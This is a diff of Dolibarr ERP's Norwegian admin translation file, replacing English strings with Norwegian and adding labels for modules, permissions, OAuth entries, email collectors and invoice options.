RequiredBy=Denne modulen er påkrevd av modul(ene) @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate= 
      Eksempel:
      For skjemaet for å opprette PageUrlForDefaultValuesList= 
      Eksempel:
      For siden som viser tredjeparter, er den %s .
      For URL til eksterne moduler installert i tilpasset mappe, ikke inkluder "Custom /" , men bruk en bane som mymodule/mypagelist.php og ikke custom/mymodule/mypagelist.php.
      Hvis du bare vil ha standard verdi hvis url har noen parametre, kan du bruke %s AlsoDefaultValuesAreEffectiveForActionCreate=Vær også oppmerksom på at overskriving av standardverdier for skjemaoppretting bare fungerer for sider som er riktig utformet (så med parameter handling = opprett eller legg til ...) EnableDefaultValues=Aktiver tilpasning av standardverdier -EnableOverwriteTranslation=Aktiver bruk av overskrivende oversettelse +EnableOverwriteTranslation=Tillat tilpasning av oversettelser GoIntoTranslationMenuToChangeThis=En oversettelse har blitt funnet for nøkkelen med denne koden. For å endre denne verdien må du redigere den fra Hjem-Oppsett-Oversettelse. WarningSettingSortOrder=Advarsel, å angi en standard sorteringsrekkefølge kan føre til en teknisk feil når du går på listesiden dersom feltet er et ukjent felt. Hvis du opplever en slik feil, kan du komme tilbake til denne siden for å fjerne standard sorteringsrekkefølge og gjenopprette standardoppførsel. Field=Felt @@ -643,11 +646,13 @@ Module2300Name=Planlagte jobber Module2300Desc=Planlagt jobbadministrasjon (alias cron- eller chronotabell) Module2400Name=Hendelser/Agenda Module2400Desc=Spor hendelser. Logg automatisk hendelser for sporingsformål eller registrer manuelle hendelser eller møter. Dette er hovedmodulen for håndtering av gode kunde- eller leverandørforhold. +Module2430Name=Bestilling kalendersystem +Module2430Desc=Gi en online-kalender slik at alle kan bestille treff, i henhold til forhåndsdefinerte områder eller tilgjengeligheter. Module2500Name=DMS / ECM Module2500Desc=Dokumenthåndteringssystem / Elektronisk innholdshåndtering. Automatisk organisering av dine genererte eller lagrede dokumenter. Del dem når du trenger det. -Module2600Name=API/Web tjenseter(SOAP server) +Module2600Name=API / webtjenester (SOAP-server) Module2600Desc=Aktiver Dolibarrs SOAP-server for å kunne bruke API-tjenester -Module2610Name=API/Web tjenester (REST server) +Module2610Name=API/webtjenester (REST-server) Module2610Desc=Aktiver Dolibarrs REST-server for å kunne bruke API-tjenester Module2660Name=Kall webtjenester (SOAP klient) Module2660Desc=Aktiver Dolibarr webtjenesteklient (Kan brukes til å sende data/forespørsler til eksterne servere. Bare innkjøpsordre støttes for øyeblikket) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind konverteringsegenskaper Module3200Name=Uforanderlige arkiver Module3200Desc=Aktiver en uforanderlig logg over forretningshendelser. Hendelser arkiveres i sanntid. Loggen er en skrivebeskyttet tabell med kjedede hendelser som kan eksporteres. Denne modulen kan være obligatorisk for enkelte land. +Module3300Name=Modulbygger +Module3300Desc=Et RAD (Rapid Application Development - lav-kode og ingen kode)-verktøy for å hjelpe utviklere eller avanserte brukere med å bygge sin egen modul/applikasjon. Module3400Name=Sosiale nettverk Module3400Desc=Aktiver felt for sosiale nettverk i tredjeparter og adresser (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incotermer Module62000Desc=Legg til egenskaper for å administrere Incoterm Module63000Name=Ressurser Module63000Desc=Administrer ressurser (skrivere, biler, rom, ...) for tildeling til arrangementer -Permission11=Vis kundefakturaer +Module66000Name=Aktiver OAuth2-autentisering +Module66000Desc=Gi et verktøy for å generere og administrere OAuth2-tokens. Tokenet kan da brukes av noen andre moduler. +Module94160Name=Mottak +Permission11=Les kundefakturaer (og betalinger) Permission12=Opprett/endre kundefakturaer Permission13=Ugyldiggjør kundefakturaer Permission14=Valider kundefakturaer @@ -714,14 +724,14 @@ Permission27=Slett tilbud Permission28=Eksporter tilbud Permission31=Les varer Permission32=Opprett/endre varer -Permission33=Read prices products +Permission33=Les varepriser Permission34=Slett varer Permission36=Se/administrer skjulte varer Permission38=Eksporter varer Permission39=Ignorer minstepris -Permission41=Read projects and tasks (shared projects and projects of which I am a contact). -Permission42=Create/modify projects (shared projects and projects of which I am a contact). Can also assign users to projects and tasks -Permission44=Delete projects (shared projects and projects of which I am a contact) +Permission41=Les prosjekter og oppgaver (delte prosjekter og prosjekter som jeg er kontaktperson for). +Permission42=Opprette/endre prosjekter (delte prosjekter og prosjekter som jeg er kontaktperson for). Kan også tilordne brukere til prosjekter og oppgaver +Permission44=Slett prosjekter (delte prosjekter og prosjekter som jeg er en kontakt for) Permission45=Eksporter prosjekter Permission61=Vis intervensjoner Permission62=Opprett/endre intervensjoner @@ -740,7 +750,7 @@ Permission79=Opprett/endre abonnementer Permission81=Les kundeordre Permission82=Opprett/endre kundeordre Permission84=Valider kundeordre -Permission85=Generate the documents sales orders +Permission85=Generer dokumenter salgsordre Permission86=Send kundeordre Permission87=Lukk kundeordre Permission88=Avbryt kundeordre @@ -768,10 +778,10 @@ Permission122=Opprett/endre tredjeparter lenket til bruker Permission125=Slett tredjeparter lenket til bruker Permission126=Eksportere tredjeparter Permission130=Opprett/endre betalingsinformasjon for tredjeparter -Permission141=Read all projects and tasks (as well as the private projects for which I am not a contact) -Permission142=Create/modify all projects and tasks (as well as the private projects for which I am not a contact) -Permission144=Delete all projects and tasks (as well as the private projects I am not a contact) -Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) +Permission141=Les alle prosjekter og oppgaver (samt de private prosjektene jeg ikke er kontaktperson for) +Permission142=Opprett/endre alle prosjekter og oppgaver (samt de private prosjektene jeg ikke er kontaktperson for) +Permission144=Slett alle prosjekter og oppgaver (så vel som de private prosjektene jeg ikke er en kontakt) +Permission145=Kan angi tid som er brukt, for meg eller mitt hierarki, på tildelte oppgaver (Timeliste) Permission146=Les tilbydere Permission147=Les statistikk Permission151=Les direktedebet betalingsordre @@ -842,9 +852,9 @@ Permission286=Eksportere kontakter Permission291=Vis tariffer Permission292=Angi tillatelser på tariffer Permission293=Endre kundens rater -Permission300=Les strekkoder -Permission301=Opprett/endre strekkoder -Permission302=Slett strekkoder +Permission301=Generer PDF-ark med strekkoder +Permission304=Opprett/endre strekkoder +Permission305=Slett strekkoder Permission311=Vis tjenester Permission312=Knytt tjeneste/abonnement til kontrakt Permission331=Les bokmerker @@ -876,7 +886,7 @@ Permission525=Gå til lånekalkulator Permission527=Eksporter lån Permission531=Vis tjenester Permission532=Opprett/endre tjenester -Permission533=Read prices services +Permission533=Les priser tjenester Permission534=Slett tjenester Permission536=Administrer skjulte tjenester Permission538=Eksporter tjenester @@ -887,9 +897,9 @@ Permission564=Registrer debet/avvisning av kredittoverføring Permission601=Les klistremerker Permission602=Opprett/modifiser klistremerker Permission609=Slett klistremerker -Permission611=Read attributes of variants -Permission612=Create/Update attributes of variants -Permission613=Delete attributes of variants +Permission611=Les attributter til varianter +Permission612=Opprett/oppdater attributter for varianter +Permission613=Slett attributter for varianter Permission650=Les BOM (Bills of Materials) Permission651=Opprett/oppdater BOM Permission652=Slett BOM @@ -940,7 +950,7 @@ Permission1190=Godkjenn (andre godkjenning) innkjøpsordre Permission1191=Eksporter leverandørordre og deres attributter Permission1201=Resultat av en eksport Permission1202=Opprett/endre eksport -Permission1231=Les leverandørfakturaer +Permission1231=Les leverandørfakturaer (og betalinger) Permission1232=Opprett/endre leverandørfakturaer Permission1233=Valider leverandørfakturaer Permission1234=Slett leverandørfakturaer @@ -971,13 +981,14 @@ Permission3301=Generer nye moduler Permission4001=Les ferdighet/jobb/stilling Permission4002=Opprett/endre ferdigheter/jobb/stilling Permission4003=Slett ferdighet/jobb/stilling -Permission4020=Les evalueringer -Permission4021=Opprett/endre evalueringen din -Permission4022=Valider evaluering -Permission4023=Slett evaluering -Permission4030=Se sammenligningsmeny +Permission4021=Les evalueringer (dine og dine underordnede) +Permission4022=Opprette/endre evalueringer +Permission4023=Valider evaluering +Permission4025=Slett evaluering +Permission4028=Se sammenligningsmeny Permission4031=Les personlig informasjon Permission4032=Skriv personlig informasjon +Permission4033=Les alle evalueringer (selv de av brukere som ikke er underordnede) Permission10001=Les nettstedsinnhold Permission10002=Opprett/endre innhold på nettstedet (html og javascript innhold) Permission10003=Opprett/endre nettstedsinnhold (dynamisk PHP-kode). Farlig, må reserveres for erfarne utviklere. @@ -1077,10 +1088,14 @@ DictionaryExpenseTaxCat=Utgiftsrapport - Transportkategorier DictionaryExpenseTaxRange=Utgiftsrapport - Rangert etter transportkategori DictionaryTransportMode=Intracomm rapport - Transportmodus DictionaryBatchStatus=Vare lot/serie kvalitetskontrollstatus -DictionaryAssetDisposalType=Type of disposal of assets +DictionaryAssetDisposalType=Type avhending av eiendeler TypeOfUnit=Type enhet SetupSaved=Innstillinger lagret SetupNotSaved=Oppsettet er ikke lagret +OAuthServiceConfirmDeleteTitle=Slett OAuth-oppføring +OAuthServiceConfirmDeleteMessage=Er du sikker på at du vil slette denne OAuth-oppføringen? Alle eksisterende tokens for den vil også bli slettet. +ErrorInEntryDeletion=Feil ved sletting av oppføring +EntryDeleted=Oppføring slettet BackToModuleList=Tilbake til modullisten BackToDictionaryList=Tilbake til Ordboklisten TypeOfRevenueStamp=Type skattestempel @@ -1132,7 +1147,7 @@ ValueOfConstantKey=Verdien av en konfigurasjonskonstant ConstantIsOn=Alternativ %s er på NbOfDays=Antall dager AtEndOfMonth=Ved månedsslutt -CurrentNext=A given day in month +CurrentNext=En gitt dag i måneden Offset=Forskyvning AlwaysActive=Alltid aktiv Upgrade=Oppgrader @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      Denne programvaren er en ser SetupDescription5=Annet oppsett menyoppføringer styrer valgfrie parametere. SetupDescriptionLink=%s - %s SetupDescription3b=Grunnleggende parametere som brukes til å tilpasse standardoppførselen til applikasjonen din (f.eks. for landsrelaterte funksjoner). -SetupDescription4b=Denne programvaren er en pakke med mange moduler/applikasjoner. Modulene relatert til dine behov må aktiveres og konfigureres. Menyoppføringer vil vises med aktivering av disse modulene. +SetupDescription4b=Denne programvaren er en pakke med mange moduler/applikasjoner. Modulene knyttet til dine behov må aktiveres. Menyoppføringer vil vises med aktivering av disse modulene. AuditedSecurityEvents=Sikkerhetshendelser som blir revidert NoSecurityEventsAreAduited=Ingen sikkerhetshendelser blir revidert. Du kan aktivere dem fra meny %s Audit=Sikkerhetshendelser @@ -1238,12 +1253,13 @@ BrowserName=Navn på nettleser BrowserOS=Nettleserens operativsystem ListOfSecurityEvents=Oversikt over sikkerhetshendelser i Dolibarr SecurityEventsPurged=Sikkerhetshendelser renset -TrackableSecurityEvents=Trackable security events +TrackableSecurityEvents=Sporbare sikkerhetshendelser LogEventDesc=Aktiver logging av bestemte sikkerhetshendelser. Administratorer når loggen via menyen %s - %s . Advarsel, denne funksjonen kan generere store mengder data i databasen. AreaForAdminOnly=Oppsettparametere kan bare angis av administratorbrukere . SystemInfoDesc=Systeminformasjon er diverse teknisk informasjon som kun vises i skrivebeskyttet modus, og som kun er synlig for administratorer. SystemAreaForAdminOnly=Dette området er kun tilgjengelig for administratorbrukere. Dolibarr brukerrettigheter kan ikke endre denne begrensningen. CompanyFundationDesc=Rediger informasjonen til din bedrift/organisasjon. Klikk på "%s" -knappen nederst på siden når du er ferdig. +MoreNetworksAvailableWithModule=Flere sosiale nettverk kan være tilgjengelige ved å aktivere modulen "Sosiale nettverk". AccountantDesc=Hvis du har en ekstern revisor/regnskapsholder, kan du endre dennes informasjon her. AccountantFileNumber=Regnskapsførerkode DisplayDesc=Parametre som påvirker utseendet og presentasjonen av applikasjonen kan endres her. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Utløserne i denne filen er slått på ettersom modu GeneratedPasswordDesc=Velg metoden som skal brukes til automatisk genererte passord. DictionaryDesc=Sett alle referansedata. Du kan legge til dine verdier som standard. ConstDesc=Denne siden lar deg redigere (overstyre) parametere som ikke er tilgjengelige på andre sider. Dette er for det meste reserverte parametere for utviklere/avansert feilsøking. +MiscellaneousOptions=Diverse alternativer MiscellaneousDesc=Alle andre sikkerhetsrelaterte parametre er definert her. LimitsSetup=Grenser/presisjon LimitsDesc=Her angir du grenser og presisjon som skal brukes i programmet @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Du må kjøre denne kommandoen YourPHPDoesNotHaveSSLSupport=SSL funksjoner ikke tilgjengelige i din PHP DownloadMoreSkins=Flere skins å laste ned SimpleNumRefModelDesc=Returnerer referansenummeret i formatet %syymm-nnnn der yy er året, mm er måneden og nnnn er et sekvensielt automatisk økende nummer uten nullstilling +SimpleRefNumRefModelDesc=Returnerer referansenummeret i formatet n der n er et sekvensielt automatisk økende tall uten tilbakestilling +AdvancedNumRefModelDesc=Returnerer referansenummeret i formatet %syymm-nnnn der yy er året, mm er måneden og nnnn er et sekvensielt automatisk økende nummer uten nullstilling SimpleNumRefNoDateModelDesc=Returnerer referansenummeret i formatet %s-nnnn der nnnn er et sekvensielt automatisk økende tall uten tilbakestilling ShowProfIdInAddress=Vis profesjonell ID med adresser ShowVATIntaInAddress=Skjul MVA-nummer innen fellesskapet @@ -1380,7 +1399,7 @@ GetBarCode=Hent strekkode NumberingModules=Nummereringsmodeller DocumentModules=Dokumentmodeller ##### Module password generation -PasswordGenerationStandard=Returner et passord generert i henhold til intern Dolibarr-algoritme: %s tegn som inneholder både tall og små bokstaver. +PasswordGenerationStandard=Returner et passord generert i henhold til intern Dolibarr-algoritme: %s tegn som inneholder både tall og tegn. PasswordGenerationNone=Ikke foreslå å generere passord. Passord må legges inn manuelt. PasswordGenerationPerso=Returner et passord i følge din personlige konfigurasjon SetupPerso=I følge din konfigurasjon @@ -1432,8 +1451,12 @@ WatermarkOnDraftInvoices=Vannmerke på fakturakladder (ingen hvis tom) PaymentsNumberingModule=Modell for betalingsnummerering SuppliersPayment=Leverandørbetalinger SupplierPaymentSetup=Oppsett av leverandørbetaling -InvoiceCheckPosteriorDate=Check facture date before validation -InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceCheckPosteriorDate=Sjekk fakturadato før validering +InvoiceCheckPosteriorDateHelp=Validering av en faktura vil være forbudt hvis datoen er foran datoen for siste faktura av samme type. +InvoiceOptionCategoryOfOperations=Vis omtale "kategori av operasjoner" på fakturaen. +InvoiceOptionCategoryOfOperationsHelp=Avhengig av situasjonen vil omtalen vises i formen:
      - Driftskategori: Varelevering
      - Driftskategori: Tjenester
      - Driftskategori: Blandet og levering av tjenester +InvoiceOptionCategoryOfOperationsYes1=Ja, under adresseblokken +InvoiceOptionCategoryOfOperationsYes2=Ja, i nedre venstre hjørne ##### Proposals ##### PropalSetup=Oppsett av modulen Tilbud ProposalsNumberingModules=Nummereringsmodul for tilbud @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Vannmerke på kontraktkladder (ingen hvis tom) ##### Members ##### MembersSetup=Oppsett av medlemsmodul MemberMainOptions=Hovedinnstillinger +MemberCodeChecker=Alternativer for automatisk generering av medlemskoder AdherentLoginRequired= Opprett innlogging for hvert medlem AdherentMailRequired=E-post kreves for å lage et nytt medlem MemberSendInformationByMailByDefault=Valg for å sende e-postbekreftelse til medlemmer (validering eller nytt abonnement) er krysset av som standard MemberCreateAnExternalUserForSubscriptionValidated=Opprett en ekstern brukerpålogging for hvert nytt medlemsabonnement som valideres -VisitorCanChooseItsPaymentMode=Besøkende kan velge blant tilgjengelige betalingsmåter +VisitorCanChooseItsPaymentMode=Besøkende kan velge mellom alle tilgjengelige betalingsmåter MEMBER_REMINDER_EMAIL=Aktiver automatisk påminnelse via e-post av utløpte abonnementer. Merk: Modul %s må være aktivert og riktig oppsatt for å sende påminnelser. MembersDocModules=Dokumentmaler for dokumenter generert fra medlemsregister ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Aktiver avansert editor for: FCKeditorForNotePublic=WYSIWIG opprettelse/utgave av feltet "offentlige notater" av elementer FCKeditorForNotePrivate=WYSIWIG opprettelse/utgave av feltet "private notater" av elementer FCKeditorForCompany=WYSIWIG opprettelse/utgave av feltbeskrivelsen av elementer (unntatt varer/tjenester) -FCKeditorForProduct=WYSIWIG opprettelse/utgave av feltbeskrivelsen av varer/tjenester -FCKeditorForProductDetails=WYSIWIG oppretting/endring av varedetaljer for alle enheter (tilbud, ordre, fakturaer, etc ...). Advarsel: Det er ikke anbefalt å bruke dette alternativet i dette tilfellet, da det kan skape problemer med spesialtegn og sideformatering når du bygger PDF-filer. +FCKeditorForProductDetails=WYSIWIG opprettelse/utgave av varebeskrivelse eller linjer for objekter (linjer med forslag, bestillinger, fakturaer, etc...). +FCKeditorForProductDetails2=Advarsel: Å bruke dette alternativet for dette tilfellet anbefales ikke, da det kan skape problemer med spesialtegn og sideformatering når du bygger PDF-filer. FCKeditorForMailing= WYSIWIG opprettelse/endring av masse-e-postutsendelser (Verktøy->E-post) FCKeditorForUserSignature=WYSIWIG-opprettelse av signatur FCKeditorForMail=WYSIWIG opprettelse/redigering for all post (unntatt Verktøy ->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menyhåndterer skulle vise en ny meny DetailMenuModule=Modulnavn hvis menyoppføringen kom fra en modul DetailType=Menytype (topp eller venstre) DetailTitre=Menyetikett eller etikettkode for oversettelse -DetailUrl=URL til der menyen sender deg (Absolutt URL eller ekstern lenke med http://) +DetailUrl=URL hvor menyen sender deg (Relativ URL-lenke eller ekstern lenke med https://) DetailEnabled=Tilstand for å vise oppføring eller ikke DetailRight=Tilstand for å vise uautoriserte grå menyer DetailLangs=Språkfil-navn for etikettkode-oversettelse @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Bruk hendelsestyper (administrert i menyoppsett -> Ordbøk AGENDA_USE_EVENT_TYPE_DEFAULT=Angi denne standardverdien automatisk for type hendelse i skjema for hendelsesoppretting AGENDA_DEFAULT_FILTER_TYPE=Still inn denne typen hendelse automatisk i søkefilter i agendavisning AGENDA_DEFAULT_FILTER_STATUS=Angi denne status automatisk for hendelser i søkefilter i agendavisning +AGENDA_EVENT_PAST_COLOR=Farge på tidligere hendelser +AGENDA_EVENT_CURRENT_COLOR=Gjeldende hendelsesfarge +AGENDA_EVENT_FUTURE_COLOR=Farge på fremtiden AGENDA_DEFAULT_VIEW=Hvilken visning vil du åpne som standard når du velger menyen Agenda AGENDA_REMINDER_BROWSER=Aktiver påminnelse om hendelse i brukerens nettleser (Når påminnelsesdato er nådd, vises en popup i nettleseren. Hver bruker kan deaktivere slike varsler i nettleseren). AGENDA_REMINDER_BROWSER_SOUND=Aktiver lydvarsler @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Lagernedgang i POS er ikke kompatibel CashDeskYouDidNotDisableStockDecease=Lagerreduksjon ble ikke utført ved salg fra Point-of-Sale. Velg et lager CashDeskForceDecreaseStockLabel=Tvungen lagerreduksjon for batchprodukter. CashDeskForceDecreaseStockDesc=Reduser først med etter eldste datoene for siste forbruksdag og best før. -CashDeskReaderKeyCodeForEnter=Nøkkelkode for "Enter" definert i strekkodeleser (Eksempel: 13) +CashDeskReaderKeyCodeForEnter=ASCII-kode for "Enter" definert i strekkodeleseren (eksempel: 13) ##### Bookmark ##### BookmarkSetup=Oppsett av bokmerkemodulen BookmarkDesc=Med denne modulen kan du administrere bokmerker. Du kan også legge til snarveier til noen Dolibarr-sider eller eksterne nettsteder i venstre meny. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Leverandørfaktura nummereringsmodeller IfSetToYesDontForgetPermission=Hvis satt til en ikke-nullverdi, ikke glem å gi tillatelser til grupper eller brukere som er tillatt for den andre godkjenningen ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind modul-oppsett -PathToGeoIPMaxmindCountryDataFile=Sti til fil som inneholder Maxmind ip til land oversettelse.
      eksempler:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Bane til fil som inneholder Maxmind ip til landoversettelse NoteOnPathLocation=Merk at din IP til landdata-filen må være i en mappe som PHP kan lese (Sjekk din PHP open_basedir oppsett og filsystem-tillatelser). YouCanDownloadFreeDatFileTo=Du kan laste ned en gratis demoversjon av Maxmind GeoIP landfil på %s. YouCanDownloadAdvancedDatFileTo=Du kan også laste ned en mer komplett utgave, med oppdateringer, av Maxmind GeoIP landfil på %s. @@ -1926,12 +1953,13 @@ BackupDumpWizard=Veiviser for å bygge databasedump-filen BackupZipWizard=Veiviser for å bygge arkivet med dokumentkatalog SomethingMakeInstallFromWebNotPossible=Installasjon av ekstern modul er ikke mulig fra webgrensesnittet på grunn av: SomethingMakeInstallFromWebNotPossible2=Av denne grunn er prosessen for å oppgradere beskrevet her, en manuell prosess som bare en privilegert bruker kan utføre. +InstallModuleFromWebHasBeenDisabledContactUs=Installasjon eller utvikling av eksterne moduler eller dynamiske nettsteder, fra applikasjonen, er for øyeblikket låst av sikkerhetshensyn. Ta kontakt med oss hvis du trenger å aktivere denne funksjonen. InstallModuleFromWebHasBeenDisabledByFile=Administrator har deaktivert muligheten for å installere eksterne moduler. Administrator må fjerne filen %s for å tillate dette. ConfFileMustContainCustom=Ved installering eller bygging av en ekstern modul fra programmet må modulfilene lagres i katalogen %s. Hvis du vil ha denne katalogen behandlet av Dolibarr, må du sette opp conf/conf.php for å legge til 2 direktivlinjer:
      $dolibarr_main_url_root_alt = '/custom';
      $dolibarr_main_document_root_alt = '%s/custom'; HighlightLinesOnMouseHover=Fremhev tabellinjer når musen flyttes over HighlightLinesColor=Fremhev fargen på linjen når musen går over (bruk 'ffffff' for ingen fremheving) HighlightLinesChecked=Fremhev farge på linjen når den er merket (bruk 'ffffff' for ikke noen fremheving) -UseBorderOnTable=Show left-right borders on tables +UseBorderOnTable=Vis venstre-høyre kantlinjer på tabeller BtnActionColor=Farge på handlingsknappen TextBtnActionColor=Tekstfarge på handlingsknappen TextTitleColor=Tekstfarge på sidetittel @@ -1940,7 +1968,7 @@ PressF5AfterChangingThis=Trykk CTRL+F5 på tastaturet eller tøm nettlesercache NotSupportedByAllThemes=Vil virke med kjernetemaer, vil kanskje ikke virke med eksterne temaer BackgroundColor=Bakgrunnsfarge TopMenuBackgroundColor=Bakgrunnsfarge for toppmeny -TopMenuDisableImages=Icon or Text in Top menu +TopMenuDisableImages=Ikon eller tekst i toppmenyen LeftMenuBackgroundColor=Bakgrunnsfarge for venstre meny BackgroundTableTitleColor=Bakgrunnsfarge for tittellinje i tabellen BackgroundTableTitleTextColor=Tekstfarge for tabellens tittellinje @@ -1953,7 +1981,7 @@ EnterAnyCode=Dette feltet inneholder en referanse for å identifisere linjen. Sk Enter0or1=Skriv inn 0 eller 1 UnicodeCurrency=Her legger du inn en liste med Ascii-verdier, som representerer et valutasymbol. For eksempel: $ = [36], Brasilsk real R$ = [82,36], € = [8364] ColorFormat=RGB-fargen er i HEX-format, for eksempel: FF0000 -PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) +PictoHelp=Ikonnavn i format:
      - image.png for en bildefil i gjeldende temakatalog
      - image.png@module hvis filen er i katalogen /img/ til en modul
      - fa-xxx for en FontAwesomepic fa-x
      - fonwtawesome_xxx_fa_color_size for et FontAwesome fa-xxx-bilde (med prefiks, farge og størrelse satt) PositionIntoComboList=Plassering av linje i kombinasjonslister SellTaxRate=MVA-sats RecuperableOnly=Ja for MVA"Ikke oppfattet, men gjenopprettelig" dedikert til noen steder i Frankrike. Hold verdien til "Nei" i alle andre tilfeller. @@ -2035,7 +2063,7 @@ MAIN_PDF_MARGIN_RIGHT=Høyremarg på PDF MAIN_PDF_MARGIN_TOP=Toppmarg på PDF MAIN_PDF_MARGIN_BOTTOM=Bunnmarg på PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Høyde for logo på PDF -DOC_SHOW_FIRST_SALES_REP=Show first sales representative +DOC_SHOW_FIRST_SALES_REP=Vis første salgsrepresentant MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Legg til kolonne for bilde på tilbudslinjer MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Kolonnenbredde hvis et bilde legges til på linjer MAIN_PDF_NO_SENDER_FRAME=Skjul kanter på rammen rundt avsenderadresse @@ -2053,8 +2081,10 @@ RemoveSpecialChars=Fjern spesialtegn COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter til ren verdi (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex-filter til ren verdi (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplikat er ikke tillatt +RemoveSpecialWords=Rengjør visse ord når du genererer underkontoer for kunder eller leverandører +RemoveSpecialWordsHelp=Angi ordene som skal renses før du beregner kunde- eller leverandørkontoen. Bruk en ";" mellom hvert ord GDPRContact=Databeskyttelsesansvarlig (DPO, Data Privacy eller GDPR kontakt) -GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here +GDPRContactDesc=Hvis du lagrer personopplysninger i ditt informasjonssystem, kan du navngi kontakten som er ansvarlig for GDPR her HelpOnTooltip=Hjelpetekst til å vise på verktøytips HelpOnTooltipDesc=Sett tekst eller en oversettelsesnøkkel her for at teksten skal vises i et verktøytips når dette feltet vises i et skjema YouCanDeleteFileOnServerWith=Du kan slette denne filen på serveren med kommandolinje:
      %s @@ -2065,50 +2095,52 @@ VATIsUsedIsOff=Merk: Muligheten til å bruke MVA er satt til Av Note: With this initial example, the title of the lead is generated including the email. If the thirdparty can't be found in database (new customer), the lead will be attached to the thirdparty with ID 1. -EmailCollectorExampleToCollectLeads=Example collecting leads -EmailCollectorExampleToCollectJobCandidaturesDesc=Collect emails applying to job offers (Module Recruitment must be enabled). You can complete this collector if you want to automatically create a candidature for a job request. Note: With this initial example, the title of the candidature is generated including the email. -EmailCollectorExampleToCollectJobCandidatures=Example collecting job candidatures received by e-mail +EmailCollectorConfirmCollect=Vil du kjøre denne samleren nå? +EmailCollectorExampleToCollectTicketRequestsDesc=Samle e-poster som samsvarer med noen regler og lag automatisk en billett (modulbillett må være aktivert) med e-postinformasjonen. Du kan bruke denne samleren hvis du gir støtte via e-post, slik at billettforespørselen din genereres automatisk. Aktiver også Collect_Responses for å samle inn svar fra klienten din direkte på billettvisningen (du må svare fra Dolibarr). +EmailCollectorExampleToCollectTicketRequests=Eksempel på innhenting av billettforespørsel (kun første melding) +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftwareDesc=Skann postkassens "Sendt"-katalog for å finne e-poster som ble sendt som svar på en annen e-post direkte fra e-postprogramvaren og ikke fra Dolibarr. Hvis en slik e-post blir funnet, registreres svarhendelsen i Dolibarr +EmailCollectorExampleToCollectAnswersFromExternalEmailSoftware=Eksempel på innsamling av e-postsvar sendt fra en ekstern e-postprogramvare +EmailCollectorExampleToCollectDolibarrAnswersDesc=Samle alle e-poster som er et svar på en e-post sendt fra søknaden din. En hendelse (modul Agenda må være aktivert) med e-postsvar vil bli registrert på riktig sted. For eksempel, hvis du sender et tilbud, ordre, faktura eller melding for en billett via e-post fra applikasjonen, og mottakeren svarer på e-posten din, vil systemet automatisk fange opp svaret og legge det til i ERP-en din. +EmailCollectorExampleToCollectDolibarrAnswers=Eksempel som samler alle inngående meldinger som svar på meldinger sendt fra Dolibarr' +EmailCollectorExampleToCollectLeadsDesc=Samle eposter som samsvarer med noen regler og lag automatisk et kundeemne (modulprosjektet må være aktivert) med epostinformasjonen. Du kan bruke denne innsamleren hvis du ønsker å følge leadet ditt ved å bruke modulen Prosjekt (1 lead = 1 prosjekt), slik at dine leads blir automatisk generert. Hvis samleren Collect_Responses også er aktivert, når du sender en epost fra dine kundeemner, forslag eller andre objekter, kan du også se svar fra dine kunder eller partnere direkte i applikasjonen.
      Merk: Med dette første eksempelet genereres tittelen på kundeemnet inkludert eposten. Hvis tredjeparten ikke finnes i databasen (ny kunde), vil kundeemnet bli knyttet til tredjeparten med ID 1. +EmailCollectorExampleToCollectLeads=Eksempel på innsamling av kundeemner +EmailCollectorExampleToCollectJobCandidaturesDesc=Samle e-poster som søker om jobbtilbud (modulrekruttering må være aktivert). Du kan fullføre denne samleren hvis du automatisk vil opprette en kandidatur for en jobbforespørsel. Merk: Med dette første eksempelet genereres tittelen på kandidaturen inkludert e-posten. +EmailCollectorExampleToCollectJobCandidatures=Eksempel på innsamling av jobbkandidater mottatt på e-post NoNewEmailToProcess=Ingen ny e-post (matchende filtre) å behandle NothingProcessed=Ingenting gjort -XEmailsDoneYActionsDone=%s emails pre-qualified, %s emails successfully processed (for %s record/actions done) +XEmailsDoneYActionsDone=%s-e-poster forhåndskvalifisert, %s-e-poster behandlet (for %s-poster/handlinger utført) RecordEvent=Ta opp en hendelse i agendaen (med typen E-post sendt eller mottatt) CreateLeadAndThirdParty=Opprett et lead (og en tredjepart om nødvendig) -CreateTicketAndThirdParty=Create a ticket (linked to a third party if the third party was loaded by a previous operation or was guessed from a tracker in email header, without third party otherwise) +CreateTicketAndThirdParty=Opprett en billett (lenket til en tredjepart hvis tredjeparten ble lastet inn av en tidligere operasjon eller ble gjettet fra en tracker i e-postoverskriften, uten tredjeparter ellers) CodeLastResult=Siste resultatkode NbOfEmailsInInbox=Antall e-poster i kildemappen LoadThirdPartyFromName=Legg inn tredjepartsøk på %s (bare innlasting) 